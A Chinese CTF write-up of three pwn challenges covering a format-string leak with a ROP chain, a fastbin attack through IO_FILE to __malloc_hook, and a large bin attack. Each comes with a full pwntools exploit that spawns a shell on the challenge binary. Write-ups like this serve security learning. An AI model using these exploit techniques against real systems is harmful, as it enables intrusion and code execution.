前言:
写一下西湖论剑里的三道pwn题,主要讲一下第二道,因为后面我才发现自己解第二道好像是非预期解。。讲一下自己的解题思路吧。
Story:
常规基础pwn,格式化字符串+ROP。
漏洞:
格式化字符串:
printf(&s);
栈溢出:
if ( v1 < 0 )
v1 = -v1;
if ( v1 > 128 )
v1 = 1024LL;
puts("You can speak your story:");
rread((__int64)&s, v1);
思路:
- 格式化字符串先泄漏
canary
的值和__libc_start_main
的值,得到libc - 找ROP_gadget
- 栈溢出,覆盖到ROP,返回
system
EXP:
from pwn import *
#p = process('./story')
p = remote('ctf3.linkedbyx.com',11045)
elf = ELF('./story')
libc = ELF('./libc.so')
p.recvuntil('Please Tell Your ID:')
p.sendline('%15$p,%25$p')
p.recvuntil('Hello ')
data1 = p.recv(18)
p.recvuntil(',')
data2 = p.recv(14)
data1 = int(data1,16)
data2 = int(data2,16) - 240
print hex(data1),hex(data2)
libc_base = data2 - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
p.recvuntil('Tell me the size of your story:')
p.sendline('144')
p.recvuntil('You can speak your story:')
#gdb.attach(p)
payload = 'A'*136 + p64(data1) + 'A'*8 + p64(0x0000000000400bd3) + p64(bin_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
noinfoleak:
一看程序就是没有view函数,需要自己想办法leak。因为不久之前刚练手了IO_FILE泄漏的缘故,所以第一时间想到的泄漏就是利用IO_FILE(所以搞的我头皮发麻
只有一个UAF的漏洞,但是足够了。malloc的最大size是0x7f,但是因为程序malloc时候自动加1的缘故,所以最大能拿到0x90的chunk。
漏洞点:
UAF:
free(qword_6010A0[2 * v0]); // UAF
思路:
- Fast bin attack到IO_FILE处
- 修改IO_write_base泄漏地址
- Fast bin attack到
__malloc_hook
处 - malloc触发getshell
实践:
Fast bin attack大家都会我这里就不多说了,我这里比较蠢,还用了Double Free的方式来攻击,导致浪费了chunk,这里其实可以free掉之后修改fd来继续分配fake chunk。
因为我要分配到IO_FILE中,且它在libc中,所以我需要找一个接近于他的一个地址,那么最好的方法就是free掉chunk后的fd和bk指针了。
我先malloc一个0x7f的chunk,然后free。
再malloc 0x60大小,字节内容就填个A
,防止破坏fd指针。
pwndbg> heap
0xdfd000 FASTBIN {
prev_size = 0x0,
size = 0x71,
fd = 0x7f1ef5c6cb41,
bk = 0x7f1ef5c6cbf8,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141,
}
0xdfd070 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7f1ef5c6cb78,
bk = 0x7f1ef5c6cb78,
fd_nextsize = 0x20,
bk_nextsize = 0x70,
}
而后我们就可以愉快的fast bin attack了,先malloc两个0x60的chunk,而后都free,形成double free,此时的fast bin:
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x104f100 —▸ 0x104f090 ◂— 0x104f100
0x80: 0x0
两个chunk的情况:
pwndbg> x/10xg 0x104f100
0x104f100: 0x0000000000000000 0x0000000000000071
0x104f110: 0x000000000104f090 0x0000000000000000
0x104f120: 0x0000000000000000 0x0000000000000000
0x104f130: 0x0000000000000000 0x0000000000000000
0x104f140: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x104f090
0x104f090: 0x0000000000000020 0x0000000000000070
0x104f0a0: 0x000000000104f100 0x4141414141414141
0x104f0b0: 0x4141414141414141 0x4141414141414141
0x104f0c0: 0x0000000000000000 0x0000000000000000
0x104f0d0: 0x0000000000000000 0x0000000000000000
修改0x104f100
的fd指向0x104f000
,只需覆盖掉一个字节为\x00
即可,再malloc两次即可指向最开始所构造的有main_area
的chunk,在此之前还得修改一下这个chunk的头两个字节为IO_FILE处的地址。
此时我们往IO_FILE看看哪里可以构造chunk:
可以看到我们需要往0x7f7bd8d375dd
地址去fast bin attack,而与前面我们所有的main_area
的fd指针chunk只差了后面两个字节,况且5dd
还是固定值,所以我们有1/16
的机会成功,这就是爆破IO_FILE了。所以我们修改一下该chunk:
edit(3,'\xdd\x45')
再次malloc,即可在IO_FILE地址处的得到一个chunk。这样我们就可以开始愉快的修改IO_write_base来泄漏了。不过还得修改一下flag的魔数,即0xfbad2883
的值。
我这里选择泄漏了错位的地址,其实可以选择泄漏got表上的地址,泄漏函数地址来达到拿到libc的效果,都一样。
payload = 'A'*0x33 + p64(0xfbad1800) + p64(0x7f734fa446a3)*3
payload += '\x50'
create(0x65,payload)
后面就是常规操作了,fast bin到malloc_hook
地址即可。这里就不多说了。(exp每家循环,写的不太好。
EXP:
from pwn import *
p = process('./noinfoleak')
#p = remote('ctf1.linkedbyx.com',10476)
elf = ELF('./noinfoleak')
libc = ELF('./libc6.so')
context.log_level = 'debug'
def create(size,content):
p.sendlineafter('>','1')
p.sendlineafter('>',str(size))
p.sendafter('>',content)
def delete(index):
p.sendlineafter('>','2')
p.sendlineafter('>',str(index))
def edit(index,content):
p.sendlineafter('>','3')
p.sendlineafter('>',str(index))
p.sendafter('>',content)
create(0x7f,'A'*0x20) #0
create(0x60,'A'*0x20) #1
create(0x60,'A') #2
delete(0)
create(0x60,'A') #3
delete(2)
delete(1)
delete(2)
gdb.attach(p)
create(0x60,'\x00')#4
create(0x60,'A')#5
create(0x60,'\x00')#6
edit(3,'\xdd\x45')
create(0x60,'A')
payload = 'A'*0x33 + p64(0xfbad1800) + p64(0x7f734fa446a3)*3
payload += '\x50'
create(0x65,payload)
p.sendline()
libc_base = u64(p.recv(6).ljust(8,'\x00'))
libc_base = libc_base - 3954339
print hex(libc_base)
malloc_addr = libc_base + libc.symbols['__malloc_hook']
one_gadget_addr = libc_base + 0xf02a4
log.success('malloc_addr :'+hex(malloc_addr))
log.success('one_addr :'+hex(one_gadget_addr))
delete(2)
delete(1)
delete(2)
create(0x60,p64(malloc_addr-35))
create(0x60,'A')
create(0x60,p64(malloc_addr-35))
create(0x60,'\x00'*19+p64(one_gadget_addr))
#gdb.attach(p)
p.sendlineafter('>','1')
p.sendlineafter('>',str(0x10))
p.interactive()
Storm_note:
这道题其实是一道改编0ctf
的一道heapstormII
的题目,其实基本一样,就是阉割了一点,难度降低了一点。
漏洞点:
OFF-BY-ONE:
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0; // OFF-BY-ONE
puts("Done");
}
思路:
- 利用OFF-BY-ONE进行Overlapping,形成两个指针同时控制两个错位交叉chunk
- 构造Large bin的两个bk和bk_nextsize指针
- Large bin attack导致任意写
- 在mmap区域的随机数区域处get一个chunk
- 重写mmap区域chunk
- 触发后门函数,getshell
不过这里有几个小问题没太弄明白:
第一个为:系统具体是如何在链表操作后malloc 0x48后去找到我们在mmap区域所构造出来的0x56大小的chunk的?
第二个为:就是第二个large bin插入后发生的链表操作有以下:
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
第一个chunk构造(fwd):
pwndbg> x/10xg 0x000055740eab36d0
0x55740eab36d0: 0x0000000000000000 0x0000000000000611
0x55740eab36e0: 0x0000000000000000 0x00000000abcd00e8
0x55740eab36f0: 0x0000000000000000 0x00000000abcd00c3
0x55740eab3700: 0x0000000000000000 0x0000000000000000
0x55740eab3710: 0x0000000000000000 0x0000000000000000
第二个chunk构造(victim):
pwndbg> x/10xg 0x000055740eab3040
0x55740eab3040: 0x0000000000000000 0x0000000000000621
0x55740eab3050: 0x0000000000000000 0x00000000abcd00e0
0x55740eab3060: 0x0000000000000000 0x0000000000000000
0x55740eab3070: 0x0000000000000000 0x0000000000000000
0x55740eab3080: 0x0000000000000000 0x0000000000000000
发生链表操作后,第一个chunk:
pwndbg> x/10xg 0x0000562493c6d6d0
0x562493c6d6d0: 0x0000000000000000 0x0000000000000611
0x562493c6d6e0: 0x0000000000000000 0x0000562493c6d040
0x562493c6d6f0: 0x0000000000000000 0x0000562493c6d040
0x562493c6d700: 0x0000000000000000 0x0000000000000000
0x562493c6d710: 0x0000000000000000 0x0000000000000000
第二个chunk:
pwndbg> x/10xg 0x0000562493c6d040
0x562493c6d040: 0x0000000000000000 0x0000000000000621
0x562493c6d050: 0x00007f6959dd4b78 0x00000000abcd00e8
0x562493c6d060: 0x0000562493c6d6d0 0x00000000abcd00c3
0x562493c6d070: 0x0000000000000000 0x0000000000000000
0x562493c6d080: 0x0000000000000000 0x0000000000000000
我根据代码操作后,发现第二个chunk发生链表后的fd和bk指针改变的和我操作的不一致,根据代码victim->fd = fwd;
他的fd指针应该是0x0000562493c6d6d0
,但是不是,而是main_area
地址,bk指针也同样不一致。
还有mmap区域的chunk:
pwndbg> x/10xg 0xabcd00e0
0xabcd00e0: 0x2493c6d040000000 0x0000000000000056
0xabcd00f0: 0x00007f6959dd4b78 0x0000562493c6d040
0xabcd0100: 0x01627aa51d72b4f5 0x716640eeb63e737c
0xabcd0110: 0x97f5a8e005bc15e5 0x8854b65bb145df49
0xabcd0120: 0x8761c55ca19c7998 0xda55ad2af9da7c5f
在0xabcd00f0 - 8
区域为什么会有main_area
和victim chunk
的指针的?
EXP:
from pwn import *
p = process('./Storm_note')
#p = remote('ctf1.linkedbyx.com',10476)
elf = ELF('./Storm_note')
libc = ELF('./libc-2.23.so')
#max_fast =
def create(size):
p.sendlineafter('Choice: ','1')
p.sendlineafter('size ?\n',str(size))
def edit(index,content):
p.sendlineafter('Choice: ','2')
p.sendlineafter('Index ?\n',str(index))
p.sendafter('Content: \n',content)
def delete(index):
p.sendlineafter('Choice: ','3')
p.sendlineafter('Index ?\n',str(index))
def getshell():
p.sendlineafter('Choice: ','666')
p.sendlineafter('If you can open the lock, I will let you in','A'*0x30)
create(0x28) #0
create(0x528) #1
create(0xf8) #2
create(0x28) #3
create(0x28) #4
create(0x518) #5
create(0xf8) #6
create(0x28) #7
delete(0)
edit(1,'A'*0x520+p64(0x560))
delete(2)
create(0x38) #0
create(0x610)#2
delete(4)
edit(5,'A'*0x510+p64(0x550))
delete(6)
create(0x38) #4
create(0x600)#6
delete(6)
delete(2)
create(0x610)#2
edit(5,p64(0)+p64(0x611)+p64(0)+p64(0xABCD0100-0x20+8)+p64(0)+p64(0xABCD0100-0x38-5))
delete(2)
edit(1,p64(0)+p64(0x621)+p64(0)+p64(0xABCD0100-0x20))
create(0x48)#2
gdb.attach(p)
edit(2,p64(0)*2+'A'*0x30)
getshell()
p.interactive()